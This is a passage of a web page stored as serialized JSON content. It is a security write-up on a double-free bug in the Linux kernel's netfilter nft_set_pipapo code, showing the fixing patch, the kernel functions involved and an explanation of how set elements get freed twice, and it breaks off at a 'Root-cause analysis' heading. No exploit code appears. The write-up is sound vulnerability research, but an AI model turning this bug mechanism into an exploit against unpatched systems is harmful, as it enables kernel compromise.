nft_ctx *ctx,\n\n        m = rcu_dereference_protected(priv->match, true);\n\n  if (m) {\n   rcu_barrier();\n \n-  nft_set_pipapo_match_destroy(ctx, set, m);\n-\n   for_each_possible_cpu(cpu)\n    pipapo_free_scratch(m, cpu);\n   free_percpu(m->scratch);\n@@ -2342,8 +2340,7 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n  if (priv->clone) {\n   m = priv->clone;\n \n-  if (priv->dirty)\n-   nft_set_pipapo_match_destroy(ctx, set, m);\n+  nft_set_pipapo_match_destroy(ctx, set, m);\n \n   for_each_possible_cpu(cpu)\n    pipapo_free_scratch(priv->clone, cpu);\n",[61942],{"type":23,"tag":71,"props":61943,"children":61944},{"__ignoreMap":7},[61945,61953,61961,61969,61977,61985,61992,62000,62007,62015,62023,62031,62039,62047,62055,62063,62071,62079,62087,62095,62102,62110,62118,62126,62133,62140],{"type":23,"tag":75,"props":61946,"children":61947},{"class":77,"line":78},[61948],{"type":23,"tag":75,"props":61949,"children":61950},{"style":82},[61951],{"type":29,"value":61952},"diff --git a/net/netfilter/nft_set_pipapo.c b/net/netfilter/nft_set_pipapo.c\n",{"type":23,"tag":75,"props":61954,"children":61955},{"class":77,"line":100},[61956],{"type":23,"tag":75,"props":61957,"children":61958},{"style":94},[61959],{"type":29,"value":61960},"index c0ceea068936a6..df8de509024637 100644\n",{"type":23,"tag":75,"props":61962,"children":61963},{"class":77,"line":121},[61964],{"type":23,"tag":75,"props":61965,"children":61966},{"style":82},[61967],{"type":29,"value":61968},"--- a/net/netfilter/nft_set_pipapo.c\n",{"type":23,"tag":75,"props":61970,"children":61971},{"class":77,"line":138},[61972],{"type":23,"tag":75,"props":61973,"children":61974},{"style":82},[61975],{"type":29,"value":61976},"+++ b/net/netfilter/nft_set_pipapo.c\n",{"type":23,"tag":75,"props":61978,"children":61979},{"class":77,"line":161},[61980],{"type":23,"tag":75,"props":61981,"children":61982},{"style":94},[61983],{"type":29,"value":61984},"@@ -2329,8 +2329,6 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n",{"type":23,"tag":75,"props":61986,"children":61987},{"class":77,"line":196},[61988],{"type":23,"tag":75,"props":61989,"children":61990},{"emptyLinePlaceholder":15},[61991],{"type":29,"value":276},{"type":23,"tag":75,"props":61993,"children":61994},{"class":77,"line":220},[61995],{"type":23,"tag":75,"props":61996,"children":61997},{"style":94},[61998],{"type":29,"value":61999},"        m = rcu_dereference_protected(priv->match, true);\n",{"type":23,"tag":75,"props":62001,"children":62002},{"class":77,"line":248},[62003],{"type":23,"tag":75,"props":62004,"children":62005},{"emptyLinePlaceholder":15},[62006],{"type":29,"value":276},{"type":23,"tag":75,"props":62008,"children":62009},{"class":77,"line":270},[62010],{"type":23,"tag":75,"props":62011,"children":62012},{"style":94},[62013],{"type":29,"value":62014},"  if (m) {\n",{"type":23,"tag":75,"props":62016,"children":62017},{"class":77,"line":279},[62018],{"type":23,"tag":75,"props":62019,"children":62020},{"style":94},[62021],{"type":29,"value":62022},"   rcu_barrier();\n",{"type":23,"tag":75,"props":62024,"children":62025},{"class":77,"line":303},[62026],{"type":23,"tag":75,"props":62027,"children":62028},{"style":94},[62029],{"type":29,"value":62030}," \n",{"type":23,"tag":75,"props":62032,"children":62033},{"class":77,"line":322},[62034],{"type":23,"tag":75,"props":62035,"children":62036},{"style":1266},[62037],{"type":29,"value":62038},"-  nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":23,"tag":75,"props":62040,"children":62041},{"class":77,"line":340},[62042],{"type":23,"tag":75,"props":62043,"children":62044},{"style":1266},[62045],{"type":29,"value":62046},"-\n",{"type":23,"tag":75,"props":62048,"children":62049},{"class":77,"line":349},[62050],{"type":23,"tag":75,"props":62051,"children":62052},{"style":94},[62053],{"type":29,"value":62054},"   for_each_possible_cpu(cpu)\n",{"type":23,"tag":75,"props":62056,"children":62057},{"class":77,"line":363},[62058],{"type":23,"tag":75,"props":62059,"children":62060},{"style":94},[62061],{"type":29,"value":62062},"    pipapo_free_scratch(m, cpu);\n",{"type":23,"tag":75,"props":62064,"children":62065},{"class":77,"line":656},[62066],{"type":23,"tag":75,"props":62067,"children":62068},{"style":94},[62069],{"type":29,"value":62070},"   free_percpu(m->scratch);\n",{"type":23,"tag":75,"props":62072,"children":62073},{"class":77,"line":705},[62074],{"type":23,"tag":75,"props":62075,"children":62076},{"style":94},[62077],{"type":29,"value":62078},"@@ -2342,8 +2340,7 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n",{"type":23,"tag":75,"props":62080,"children":62081},{"class":77,"line":787},[62082],{"type":23,"tag":75,"props":62083,"children":62084},{"style":94},[62085],{"type":29,"value":62086},"  if (priv->clone) {\n",{"type":23,"tag":75,"props":62088,"children":62089},{"class":77,"line":826},[62090],{"type":23,"tag":75,"props":62091,"children":62092},{"style":94},[62093],{"type":29,"value":62094},"   m = priv->clone;\n",{"type":23,"tag":75,"props":62096,"children":62097},{"class":77,"line":834},[62098],{"type":23,"tag":75,"props":62099,"children":62100},{"style":94},[62101],{"type":29,"value":62030},{"type":23,"tag":75,"props":62103,"children":62104},{"class":77,"line":881},[62105],{"type":23,"tag":75,"props":62106,"children":62107},{"style":1266},[62108],{"type":29,"value":62109},"-  if (priv->dirty)\n",{"type":23,"tag":75,"props":62111,"children":62112},{"class":77,"line":3355},[62113],{"type":23,"tag":75,"props":62114,"children":62115},{"style":1266},[62116],{"type":29,"value":62117},"-   nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":23,"tag":75,"props":62119,"children":62120},{"class":77,"line":3390},[62121],{"type":23,"tag":75,"props":62122,"children":62123},{"style":237},[62124],{"type":29,"value":62125},"+  nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":23,"tag":75,"props":62127,"children":62128},{"class":77,"line":3423},[62129],{"type":23,"tag":75,"props":62130,"children":62131},{"style":94},[62132],{"type":29,"value":62030},{"type":23,"tag":75,"props":62134,"children":62135},{"class":77,"line":3436},[62136],{"type":23,"tag":75,"props":62137,"children":62138},{"style":94},[62139],{"type":29,"value":62054},{"type":23,"tag":75,"props":62141,"children":62142},{"class":77,"line":3449},[62143],{"type":23,"tag":75,"props":62144,"children":62145},{"style":94},[62146],{"type":29,"value":62147},"    pipapo_free_scratch(priv->clone, cpu);\n",{"type":23,"tag":32,"props":62149,"children":62150},{},[62151,62153,62159,62160,62166,62168,62174,62176,62182,62184,62189,62191,62197,62199,62205,62207,62213],{"type":29,"value":62152},"If the ",{"type":23,"tag":71,"props":62154,"children":62156},{"className":62155},[],[62157],{"type":29,"value":62158},"priv->dirty",{"type":29,"value":2721},{"type":23,"tag":71,"props":62161,"children":62163},{"className":62162},[],[62164],{"type":29,"value":62165},"priv->clone",{"type":29,"value":62167}," variables are set, ",{"type":23,"tag":71,"props":62169,"children":62171},{"className":62170},[],[62172],{"type":29,"value":62173},"nft_set_pipapo_match_destroy()",{"type":29,"value":62175}," is called twice, once with ",{"type":23,"tag":71,"props":62177,"children":62179},{"className":62178},[],[62180],{"type":29,"value":62181},"priv->match",{"type":29,"value":62183}," as an argument, and then again with ",{"type":23,"tag":71,"props":62185,"children":62187},{"className":62186},[],[62188],{"type":29,"value":62165},{"type":29,"value":62190},". Looking at what this function does, we can see that it is iterating over the ",{"type":23,"tag":71,"props":62192,"children":62194},{"className":62193},[],[62195],{"type":29,"value":62196},"setelem",{"type":29,"value":62198},"s of the ",{"type":23,"tag":71,"props":62200,"children":62202},{"className":62201},[],[62203],{"type":29,"value":62204},"set",{"type":29,"value":62206}," and calling ",{"type":23,"tag":71,"props":62208,"children":62210},{"className":62209},[],[62211],{"type":29,"value":62212},"nf_tables_set_elem_destroy()",{"type":29,"value":62214}," for each of them.",{"type":23,"tag":64,"props":62216,"children":62218},{"className":27738,"code":62217,"language":14432,"meta":7,"style":7},"static void nft_set_pipapo_match_destroy(const struct nft_ctx *ctx,\n      const struct nft_set *set,\n      struct nft_pipapo_match *m)\n{\n struct nft_pipapo_field *f;\n int i, r;\n\n for (i = 0, f = m->f; i \u003C m->field_count - 1; i++, f++)\n  ;\n\n for (r = 0; r \u003C f->rules; r++) {\n  struct nft_pipapo_elem *e;\n\n  if (r \u003C f->rules - 1 && f->mt[r + 1].e == f->mt[r].e)\n   continue;\n\n  e = f->mt[r].e;\n\n  nf_tables_set_elem_destroy(ctx, set, &e->priv);\n }\n}\n",[62219],{"type":23,"tag":71,"props":62220,"children":62221},{"__ignoreMap":7},[62222,62269,62297,62323,62330,62351,62364,62371,62468,62476,62483,62538,62559,62566,62669,62681,62688,62724,62731,62765,62772],{"type":23,"tag":75,"props":62223,"children":62224},{"class":77,"line":78},[62225,62230,62235,62240,62244,62248,62252,62257,62261,62265],{"type":23,"tag":75,"props":62226,"children":62227},{"style":82},[62228],{"type":29,"value":62229},"static",{"type":23,"tag":75,"props":62231,"children":62232},{"style":82},[62233],{"type":29,"value":62234}," void",{"type":23,"tag":75,"props":62236,"children":62237},{"style":88},[62238],{"type":29,"value":62239}," nft_set_pipapo_match_destroy",{"type":23,"tag":75,"props":62241,"children":62242},{"style":94},[62243],{"type":29,"value":643},{"type":23,"tag":75,"props":62245,"children":62246},{"style":82},[62247],{"type":29,"value":2869},{"type":23,"tag":75,"props":62249,"children":62250},{"style":82},[62251],{"type":29,"value":396},{"type":23,"tag":75,"props":62253,"children":62254},{"style":94},[62255],{"type":29,"value":62256}," nft_ctx ",{"type":23,"tag":75,"props":62258,"children":62259},{"style":209},[62260],{"type":29,"value":601},{"type":23,"tag":75,"props":62262,"children":62263},{"style":110},[62264],{"type":29,"value":3331},{"type":23,"tag":75,"props":62266,"children":62267},{"style":94},[62268],{"type":29,"value":118},{"type":23,"tag":75,"props":62270,"children":62271},{"class":77,"line":100},[62272,62276,62280,62285,62289,62293],{"type":23,"tag":75,"props":62273,"children":62274},{"style":82},[62275],{"type":29,"value":42742},{"type":23,"tag":75,"props":62277,"children":62278},{"style":82},[62279],{"type":29,"value":396},{"type":23,"tag":75,"props":62281,"children":62282},{"style":94},[62283],{"type":29,"value":62284}," nft_set ",{"type":23,"tag":75,"props":62286,"children":62287},{"style":209},[62288],{"type":29,"value":601},{"type":23,"tag":75,"props":62290,"children":62291},{"style":110},[62292],{"type":29,"value":62204},{"type":23,"tag":75,"props":62294,"children":62295},{"style":94},[62296],{"type":29,"value":118},{"type":23,"tag":75,"props":62298,"children":62299},{"class":77,"line":121},[62300,62305,62310,62314,62319],{"type":23,"tag":75,"props":62301,"children":62302},{"style":82},[62303],{"type":29,"value":62304},"      struct",{"type":23,"tag":75,"props":62306,"children":62307},{"style":94},[62308],{"type":29,"value":62309}," nft_pipapo_match ",{"type":23,"tag":75,"props":62311,"children":62312},{"style":209},[62313],{"type":29,"value":601},{"type":23,"tag":75,"props":62315,"children":62316},{"style":110},[62317],{"type":29,"value":62318},"m",{"type":23,"tag":75,"props":62320,"children":62321},{"style":94},[62322],{"type":29,"value":653},{"type":23,"tag":75,"props":62324,"children":62325},{"class":77,"line":138},[62326],{"type":23,"tag":75,"props":62327,"children":62328},{"style":94},[62329],{"type":29,"value":2549},{"type":23,"tag":75,"props":62331,"children":62332},{"class":77,"line":161},[62333,62337,62342,62346],{"type":23,"tag":75,"props":62334,"children":62335},{"style":82},[62336],{"type":29,"value":396},{"type":23,"tag":75,"props":62338,"children":62339},{"style":94},[62340],{"type":29,"value":62341}," nft_pipapo_field ",{"type":23,"tag":75,"props":62343,"children":62344},{"style":209},[62345],{"type":29,"value":601},{"type":23,"tag":75,"props":62347,"children":62348},{"style":94},[62349],{"type":29,"value":62350},"f;\n",{"type":23,"tag":75,"props":62352,"children":62353},{"class":77,"line":196},[62354,62359],{"type":23,"tag":75,"props":62355,"children":62356},{"style":82},[62357],{"type":29,"value":62358}," int",{"type":23,"tag":75,"props":62360,"children":62361},{"style":94},[62362],{"type":29,"value":62363}," i, r;\n",{"type":23,"tag":75,"props":62365,"children":62366},{"class":77,"line":220},[62367],{"type":23,"tag":75,"props":62368,"children":62369},{"emptyLinePlaceholder":15},[62370],{"type":29,"value":276},{"type":23,"tag":75,"props":62372,"children":62373},{"class":77,"line":248},[62374,62379,62384,62388,62392,62397,62401,62406,62410,62414,62419,62423,62427,62431,62436,62441,62445,62450,62455,62460,62464],{"type":23,"tag":75,"props":62375,"children":62376},{"style":175},[62377],{"type":29,"value":62378}," for",{"type":23,"tag":75,"props":62380,"children":62381},{"style":94},[62382],{"type":29,"value":62383}," (i ",{"type":23,"tag":75,"props":62385,"children":62386},{"style":209},[62387],{"type":29,"value":212},{"type":23,"tag":75,"props":62389,"children":62390},{"style":237},[62391],{"type":29,"value":240},{"type":23,"tag":75,"props":62393,"children":62394},{"style":94},[62395],{"type":29,"value":62396},", f ",{"type":23,"tag":75,"props":62398,"children":62399},{"style":209},[62400],{"type":29,"value":212},{"type":23,"tag":75,"props":62402,"children":62403},{"style":110},[62404],{"type":29,"value":62405}," m",{"type":23,"tag":75,"props":62407,"children":62408},{"style":94},[62409],{"type":29,"value":1156},{"type":23,"tag":75,"props":62411,"children":62412},{"style":110},[62413],{"type":29,"value":44278},{"type":23,"tag":75,"props":62415,"children":62416},{"style":94},[62417],{"type":29,"value":62418},"; i ",{"type":23,"tag":75,"props":62420,"children":62421},{"style":209},[62422],{"type":29,"value":295},{"type":23,"tag":75,"props":62424,"children":62425},{"style":110},[62426],{"type":29,"value":62405},{"type":23,"tag":75,"props":62428,"children":62429},{"style":94},[62430],{"type":29,"value":1156},{"type":23,"tag":75,"props":62432,"children":62433},{"style":110},[62434],{"type":29,"value":62435},"field_count",{"type":23,"tag":75,"props":62437,"children":62438},{"style":209},[62439],{"type":29,"value":62440}," -",{"type":23,"tag":75,"props":62442,"children":62443},{"style":237},[62444],{"type":29,"value":15795},{"type":23,"tag":75,"props":62446,"children":62447},{"style":94},[62448],{"type":29,"value":62449},"; i",{"type":23,"tag":75,"props":62451,"children":62452},{"style":209},[62453],{"type":29,"value":62454},"++",{"type":23,"tag":75,"props":62456,"children":62457},{"style":94},[62458],{"type":29,"value":62459},", f",{"type":23,"tag":75,"props":62461,"children":62462},{"style":209},[62463],{"type":29,"value":62454},{"type":23,"tag":75,"props":62465,"children":62466},{"style":94},[62467],{"type":29,"value":653},{"type":23,"tag":75,"props":62469,"children":62470},{"class":77,"line":270},[62471],{"type":23,"tag":75,"props":62472,"children":62473},{"style":94},[62474],{"type":29,"value":62475},"  ;\n",{"type":23,"tag":75,"props":62477,"children":62478},{"class":77,"line":279},[62479],{"type":23,"tag":75,"props":62480,"children":62481},{"emptyLinePlaceholder":15},[62482],{"type":29,"value":276},{"type":23,"tag":75,"props":62484,"children":62485},{"class":77,"line":303},[62486,62490,62495,62499,62503,62508,62512,62516,62520,62525,62530,62534],{"type":23,"tag":75,"props":62487,"children":62488},{"style":175},[62489],{"type":29,"value":62378},{"type":23,"tag":75,"props":62491,"children":62492},{"style":94},[62493],{"type":29,"value":62494}," (r ",{"type":23,"tag":75,"props":62496,"children":62497},{"style":209},[62498],{"type":29,"value":212},{"type":23,"tag":75,"props":62500,"children":62501},{"style":237},[62502],{"type":29,"value":240},{"type":23,"tag":75,"props":62504,"children":62505},{"style":94},[62506],{"type":29,"value":62507},"; r ",{"type":23,"tag":75,"props":62509,"children":62510},{"style":209},[62511],{"type":29,"value":295},{"type":23,"tag":75,"props":62513,"children":62514},{"style":110},[62515],{"type":29,"value":44164},{"type":23,"tag":75,"props":62517,"children":62518},{"style":94},[62519],{"type":29,"value":1156},{"type":23,"tag":75,"props":62521,"children":62522},{"style":110},[62523],{"type":29,"value":62524},"rules",{"type":23,"tag":75,"props":62526,"children":62527},{"style":94},[62528],{"type":29,"value":62529},"; r",{"type":23,"tag":75,"props":62531,"children":62532},{"style":209},[62533],{"type":29,"value":62454},{"type":23,"tag":75,"props":62535,"children":62536},{"style":94},[62537],{"type":29,"value":193},{"type":23,"tag":75,"props":62539,"children":62540},{"class":77,"line":322},[62541,62545,62550,62554],{"type":23,"tag":75,"props":62542,"children":62543},{"style":82},[62544],{"type":29,"value":17067},{"type":23,"tag":75,"props":62546,"children":62547},{"style":94},[62548],{"type":29,"value":62549}," nft_pipapo_elem ",{"type":23,"tag":75,"props":62551,"children":62552},{"style":209},[62553],{"type":29,"value":601},{"type":23,"tag":75,"props":62555,"children":62556},{"style":94},[62557],{"type":29,"value":62558},"e;\n",{"type":23,"tag":75,"props":62560,"children":62561},{"class":77,"line":340},[62562],{"type":23,"tag":75,"props":62563,"children":62564},{"emptyLinePlaceholder":15},[62565],{"type":29,"value":276},{"type":23,"tag":75,"props":62567,"children":62568},{"class":77,"line":349},[62569,62573,62577,62581,62585,62589,62593,62597,62601,62605,62609,62613,62618,62623,62627,62631,62635,62640,62644,62648,62652,62656,62661,62665],{"type":23,"tag":75,"props":62570,"children":62571},{"style":175},[62572],{"type":29,"value":42589},{"type":23,"tag":75,"props":62574,"children":62575},{"style":94},[62576],{"type":29,"value":62494},{"type":23,"tag":75,"props":62578,"children":62579},{"style":209},[62580],{"type":29,"value":295},{"type":23,"tag":75,"props":62582,"children":62583},{"style":110},[62584],{"type":29,"value":44164},{"type":23,"tag":75,"props":62586,"children":62587},{"style":94},[62588],{"type":29,"value":1156},{"type":23,"tag":75,"props":62590,"children":62591},{"style":110},[62592],{"type":29,"value":62524},{"type":23,"tag":75,"props":62594,"children":62595},{"style":209},[62596],{"type":29,"value":62440},{"type":23,"tag":75,"props":62598,"children":62599},{"style":237},[62600],{"type":29,"value":15795},{"type":23,"tag":75,"props":62602,"children":62603},{"style":209},[62604],{"type":29,"value":7889},{"type":23,"tag":75,"props":62606,"children":62607},{"style":110},[62608],{"type":29,"value":44164},{"type":23,"tag":75,"props":62610,"children":62611},{"style":94},[62612],{"type":29,"value":1156},{"type":23,"tag":75,"props":62614,"children":62615},{"style":110},[62616],{"type":29,"value":62617},"mt",{"type":23,"tag":75,"props":62619,"children":62620},{"style":94},[62621],{"type":29,"value":62622},"[r ",{"type":23,"tag":75,"props":62624,"children":62625},{"style":209},[62626],{"type":29,"value":7862},{"type":23,"tag":75,"props":62628,"children":62629},{"style":237},[62630],{"type":29,"value":15795},{"type":23,"tag":75,"props":62632,"children":62633},{"style":94},[62634],{"type":29,"value":4695},{"type":23,"tag":75,"props":62636,"children":62637},{"style":110},[62638],{"type":29,"value":62639},"e",{"type":23,"tag":75,"props":62641,"children":62642},{"style":209},[62643],{"type":29,"value":1372},{"type":23,"tag":75,"props":62645,"children":62646},{"style":110},[62647],{"type":29,"value":44164},{"type":23,"tag":75,"props":62649,"children":62650},{"style":94},[62651],{"type":29,"value":1156},{"type":23,"tag":75,"props":62653,"children":62654},{"style":110},[62655],{"type":29,"value":62617},{"type":23,"tag":75,"props":62657,"children":62658},{"style":94},[62659],{"type":29,"value":62660},"[r].",{"type":23,"tag":75,"props":62662,"children":62663},{"style":110},[62664],{"type":29,"value":62639},{"type":23,"tag":75,"props":62666,"children":62667},{"style":94},[62668],{"type":29,"value":653},{"type":23,"tag":75,"props":62670,"children":62671},{"class":77,"line":363},[62672,62677],{"type":23,"tag":75,"props":62673,"children":62674},{"style":175},[62675],{"type":29,"value":62676},"   continue",{"type":23,"tag":75,"props":62678,"children":62679},{"style":94},[62680],{"type":29,"value":245},{"type":23,"tag":75,"props":62682,"children":62683},{"class":77,"line":656},[62684],{"type":23,"tag":75,"props":62685,"children":62686},{"emptyLinePlaceholder":15},[62687],{"type":29,"value":276},{"type":23,"tag":75,"props":62689,"children":62690},{"class":77,"line":705},[62691,62696,62700,62704,62708,62712,62716,62720],{"type":23,"tag":75,"props":62692,"children":62693},{"style":94},[62694],{"type":29,"value":62695},"  e ",{"type":23,"tag":75,"props":62697,"children":62698},{"style":209},[62699],{"type":29,"value":212},{"type":23,"tag":75,"props":62701,"children":62702},{"style":110},[62703],{"type":29,"value":44164},{"type":23,"tag":75,"props":62705,"children":62706},{"style":94},[62707],{"type":29,"value":1156},{"type":23,"tag":75,"props":62709,"children":62710},{"style":110},[62711],{"type":29,"value":62617},{"type":23,"tag":75,"props":62713,"children":62714},{"style":94},[62715],{"type":29,"value":62660},{"type":23,"tag":75,"props":62717,"children":62718},{"style":110},[62719],{"type":29,"value":62639},{"type":23,"tag":75,"props":62721,"children":62722},{"style":94},[62723],{"type":29,"value":245},{"type":23,"tag":75,"props":62725,"children":62726},{"class":77,"line":787},[62727],{"type":23,"tag":75,"props":62728,"children":62729},{"emptyLinePlaceholder":15},[62730],{"type":29,"value":276},{"type":23,"tag":75,"props":62732,"children":62733},{"class":77,"line":826},[62734,62739,62744,62748,62752,62756,62761],{"type":23,"tag":75,"props":62735,"children":62736},{"style":88},[62737],{"type":29,"value":62738},"  nf_tables_set_elem_destroy",{"type":23,"tag":75,"props":62740,"children":62741},{"style":94},[62742],{"type":29,"value":62743},"(ctx, set, ",{"type":23,"tag":75,"props":62745,"children":62746},{"style":209},[62747],{"type":29,"value":1277},{"type":23,"tag":75,"props":62749,"children":62750},{"style":110},[62751],{"type":29,"value":62639},{"type":23,"tag":75,"props":62753,"children":62754},{"style":94},[62755],{"type":29,"value":1156},{"type":23,"tag":75,"props":62757,"children":62758},{"style":110},[62759],{"type":29,"value":62760},"priv",{"type":23,"tag":75,"props":62762,"children":62763},{"style":94},[62764],{"type":29,"value":15099},{"type":23,"tag":75,"props":62766,"children":62767},{"class":77,"line":834},[62768],{"type":23,"tag":75,"props":62769,"children":62770},{"style":94},[62771],{"type":29,"value":7477},{"type":23,"tag":75,"props":62773,"children":62774},{"class":77,"line":881},[62775],{"type":23,"tag":75,"props":62776,"children":62777},{"style":94},[62778],{"type":29,"value":369},{"type":23,"tag":32,"props":62780,"children":62781},{},[62782,62784,62790,62792,62797],{"type":29,"value":62783},"Which will then ",{"type":23,"tag":71,"props":62785,"children":62787},{"className":62786},[],[62788],{"type":29,"value":62789},"kfree()",{"type":29,"value":62791}," the ",{"type":23,"tag":71,"props":62793,"children":62795},{"className":62794},[],[62796],{"type":29,"value":62196},{"type":29,"value":557},{"type":23,"tag":64,"props":62799,"children":62801},{"className":27738,"code":62800,"language":14432,"meta":7,"style":7},"void nf_tables_set_elem_destroy(const struct nft_ctx *ctx,\n    const struct nft_set *set,\n    const struct nft_elem_priv *elem_priv)\n{\n struct nft_set_ext *ext = nft_set_elem_ext(set, elem_priv);\n\n if (nft_set_ext_exists(ext, NFT_SET_EXT_EXPRESSIONS))\n  nft_set_elem_expr_destroy(ctx, nft_set_ext_expr(ext));\n\n kfree(elem_priv);\n}\n",[62802],{"type":23,"tag":71,"props":62803,"children":62804},{"__ignoreMap":7},[62805,62846,62874,62903,62910,62945,62952,62973,62996,63003,63016],{"type":23,"tag":75,"props":62806,"children":62807},{"class":77,"line":78},[62808,62813,62818,62822,62826,62830,62834,62838,62842],{"type":23,"tag":75,"props":62809,"children":62810},{"style":82},[62811],{"type":29,"value":62812},"void",{"type":23,"tag":75,"props":62814,"children":62815},{"style":88},[62816],{"type":29,"value":62817}," nf_tables_set_elem_destroy",{"type":23,"tag":75,"props":62819,"children":62820},{"style":94},[62821],{"type":29,"value":643},{"type":23,"tag":75,"props":62823,"children":62824},{"style":82},[62825],{"type":29,"value":2869},{"type":23,"tag":75,"props":62827,"children":62828},{"style":82},[62829],{"type":29,"value":396},{"type":23,"tag":75,"props":62831,"children":62832},{"style":94},[62833],{"type":29,"value":62256},{"type":23,"tag":75,"props":62835,"children":62836},{"style":209},[62837],{"type":29,"value":601},{"type":23,"tag":75,"props":62839,"children":62840},{"style":110},[62841],{"type":29,"value":3331},{"type":23,"tag":75,"props":62843,"children":62844},{"style":94},[62845],{"type":29,"value":118},{"type":23,"tag":75,"props":62847,"children":62848},{"class":77,"line":100},[62849,62854,62858,62862,62866,62870],{"type":23,"tag":75,"props":62850,"children":62851},{"style":82},[62852],{"type":29,"value":62853},"    const",{"type":23,"tag":75,"props":62855,"children":62856},{"style":82},[62857],{"type":29,"value":396},{"type":23,"tag":75,"props":62859,"children":62860},{"style":94},[62861],{"type":29,"value":62284},{"type":23,"tag":75,"props":62863,"children":62864},{"style":209},[62865],{"type":29,"value":601},{"type":23,"tag":75,"props":62867,"children":62868},{"style":110},[62869],{"type":29,"value":62204},{"type":23,"tag":75,"props":62871,"children":62872},{"style":94},[62873],{"type":29,"value":118},{"type":23,"tag":75,"props":62875,"children":62876},{"class":77,"line":121},[62877,62881,62885,62890,62894,62899],{"type":23,"tag":75,"props":62878,"children":62879},{"style":82},[62880],{"type":29,"value":62853},{"type":23,"tag":75,"props":62882,"children":62883},{"style":82},[62884],{"type":29,"value":396},{"type":23,"tag":75,"props":62886,"children":62887},{"style":94},[62888],{"type":29,"value":62889}," nft_elem_priv ",{"type":23,"tag":75,"props":62891,"children":62892},{"style":209},[62893],{"type":29,"value":601},{"type":23,"tag":75,"props":62895,"children":62896},{"style":110},[62897],{"type":29,"value":62898},"elem_priv",{"type":23,"tag":75,"props":62900,"children":62901},{"style":94},[62902],{"type":29,"value":653},{"type":23,"tag":75,"props":62904,"children":62905},{"class":77,"line":138},[62906],{"type":23,"tag":75,"props":62907,"children":62908},{"style":94},[62909],{"type":29,"value":2549},{"type":23,"tag":75,"props":62911,"children":62912},{"class":77,"line":161},[62913,62917,62922,62926,62931,62935,62940],{"type":23,"tag":75,"props":62914,"children":62915},{"style":82},[62916],{"type":29,"value":396},{"type":23,"tag":75,"props":62918,"children":62919},{"style":94},[62920],{"type":29,"value":62921}," nft_set_ext ",{"type":23,"tag":75,"props":62923,"children":62924},{"style":209},[62925],{"type":29,"value":601},{"type":23,"tag":75,"props":62927,"children":62928},{"style":94},[62929],{"type":29,"value":62930},"ext ",{"type":23,"tag":75,"props":62932,"children":62933},{"style":209},[62934],{"type":29,"value":212},{"type":23,"tag":75,"props":62936,"children":62937},{"style":88},[62938],{"type":29,"value":62939}," nft_set_elem_ext",{"type":23,"tag":75,"props":62941,"children":62942},{"style":94},[62943],{"type":29,"value":62944},"(set, elem_priv);\n",{"type":23,"tag":75,"props":62946,"children":62947},{"class":77,"line":196},[62948],{"type":23,"tag":75,"props":62949,"children":62950},{"emptyLinePlaceholder":15},[62951],{"type":29,"value":276},{"type":23,"tag":75,"props":62953,"children":62954},{"class":77,"line":220},[62955,62959,62963,62968],{"type":23,"tag":75,"props":62956,"children":62957},{"style":175},[62958],{"type":29,"value":7386},{"type":23,"tag":75,"props":62960,"children":62961},{"style":94},[62962],{"type":29,"value":183},{"type":23,"tag":75,"props":62964,"children":62965},{"style":88},[62966],{"type":29,"value":62967},"nft_set_ext_exists",{"type":23,"tag":75,"props":62969,"children":62970},{"style":94},[62971],{"type":29,"value":62972},"(ext, NFT_SET_EXT_EXPRESSIONS))\n",{"type":23,"tag":75,"props":62974,"children":62975},{"class":77,"line":248},[62976,62981,62986,62991],{"type":23,"tag":75,"props":62977,"children":62978},{"style":88},[62979],{"type":29,"value":62980},"  nft_set_elem_expr_destroy",{"type":23,"tag":75,"props":62982,"children":62983},{"style":94},[62984],{"type":29,"value":62985},"(ctx, ",{"type":23,"tag":75,"props":62987,"children":62988},{"style":88},[62989],{"type":29,"value":62990},"nft_set_ext_expr",{"type":23,"tag":75,"props":62992,"children":62993},{"style":94},[62994],{"type":29,"value":62995},"(ext));\n",{"type":23,"tag":75,"props":62997,"children":62998},{"class":77,"line":270},[62999],{"type":23,"tag":75,"props":63000,"children":63001},{"emptyLinePlaceholder":15},[63002],{"type":29,"value":276},{"type":23,"tag":75,"props":63004,"children":63005},{"class":77,"line":279},[63006,63011],{"type":23,"tag":75,"props":63007,"children":63008},{"style":88},[63009],{"type":29,"value":63010}," kfree",{"type":23,"tag":75,"props":63012,"children":63013},{"style":94},[63014],{"type":29,"value":63015},"(elem_priv);\n",{"type":23,"tag":75,"props":63017,"children":63018},{"class":77,"line":303},[63019],{"type":23,"tag":75,"props":63020,"children":63021},{"style":94},[63022],{"type":29,"value":369},{"type":23,"tag":32,"props":63024,"children":63025},{},[63026,63027,63033,63035,63040,63042,63047,63049,63054,63055,63060,63062,63067,63069,63074,63076,63081],{"type":29,"value":2846},{"type":23,"tag":71,"props":63028,"children":63030},{"className":63029},[],[63031],{"type":29,"value":63032},"nft_pipapo_match",{"type":29,"value":63034}," objects contain views of the ",{"type":23,"tag":71,"props":63036,"children":63038},{"className":63037},[],[63039],{"type":29,"value":62196},{"type":29,"value":63041},"'s of a ",{"type":23,"tag":71,"props":63043,"children":63045},{"className":63044},[],[63046],{"type":29,"value":62204},{"type":29,"value":63048},". The difference between the ",{"type":23,"tag":71,"props":63050,"children":63052},{"className":63051},[],[63053],{"type":29,"value":62181},{"type":29,"value":2721},{"type":23,"tag":71,"props":63056,"children":63058},{"className":63057},[],[63059],{"type":29,"value":62165},{"type":29,"value":63061}," match objects is that the clone has a view of not only already committed ",{"type":23,"tag":71,"props":63063,"children":63065},{"className":63064},[],[63066],{"type":29,"value":62196},{"type":29,"value":63068},"'s that the \"normal\" one has but also a view of the ",{"type":23,"tag":71,"props":63070,"children":63072},{"className":63071},[],[63073],{"type":29,"value":62196},{"type":29,"value":63075},"'s that was still not committed that only exists in the current control-plane. In other words, the control plane makes changes to the clone, and if the commit path is reached, the changes are committed to ",{"type":23,"tag":71,"props":63077,"children":63079},{"className":63078},[],[63080],{"type":29,"value":62181},{"type":29,"value":557},{"type":23,"tag":923,"props":63083,"children":63085},{"id":63084},"root-cause-analysis",[63086],{"type":29,"value":63087},"Root-cause analysis",{"type":23,"tag":32,"props":63089,"children":63090},{},[63091,63093,63099,63101,63106],{"type":29,"value":63092},"So 